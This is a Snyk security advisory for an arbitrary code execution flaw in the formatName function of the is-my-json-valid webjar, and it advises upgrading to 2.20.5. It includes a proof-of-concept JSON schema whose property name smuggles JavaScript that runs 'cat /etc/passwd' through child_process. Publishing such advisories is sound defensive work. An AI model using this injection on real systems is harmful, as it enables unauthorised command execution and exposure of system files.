Arbitrary Code Execution Affecting org.webjars.npm:is-my-json-valid package, versions [,2.20.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-597168
  • published2 Aug 2020
  • disclosed31 Jul 2020
  • creditchalker

Introduced: 31 Jul 2020

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:is-my-json-valid to version 2.20.5 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

##PoC

const schema = {
  type: 'object',
  properties: {
    'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
      required: true,
      type:'string'
    }
  },
}
var validate = validator(schema);
validate({})

CVSS Scores

version 3.1